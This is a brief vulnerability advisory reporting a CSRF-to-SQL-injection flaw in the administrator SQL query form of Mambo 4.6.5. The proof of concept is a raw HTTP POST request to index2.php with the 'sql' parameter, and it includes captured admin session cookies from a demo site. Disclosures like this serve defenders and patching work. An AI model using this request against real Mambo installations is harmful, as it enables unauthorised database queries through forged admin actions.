# Affected software: Mambo # Type of vulnerability: csrf to sql injection # URL: http://source.mambo-foundation.org/ # Discovered by: Provensec # Website: http://www.provensec.com #version 4.6.5 # Proof of concept no csrf token were used on sql query form so attacker can leverage csrf to execute sql query on admin end screenshot http://prntscr.com/6gk265 POST /mambo/administrator/index2.php HTTP/1.1 Host: demo.opensourcecms.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://demo.opensourcecms.com/mambo/administrator/index2.php Cookie: __utma=87180614.347131305.1423813196.1426315580.1426317582.5; __utmz=87180614.1424330089.2.2.utmcsr=4homepages.de|utmccn=(referral)|utmcmd=referral|utmcct=/demo/; __gads=ID=e4fef836c4eca064:T=1424329959:S=ALNI_MZOrjDhCaPQBQcowebgQWskHX12kQ; __utmc=87180614; 5503d94d48147_SESSION=ben7euhc7r3j578q73sbnn9oq4; __utmb=87180614.1.10.1426317586; __utmt=1; 25fee453fc1b1d324265b9cb23363e2c=san1g4th13mhokc4g5tk3muaa3; mostlyce[startup_key]=f1df635c5e35c15a244c554e356ad0e3; mostlyce[usertype]=Super+Administrator; webfxtab_modules-cpanel=4 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 47 sql=select&option=com_mostlydbadmin&task=xquery vulnerable paramter sql poc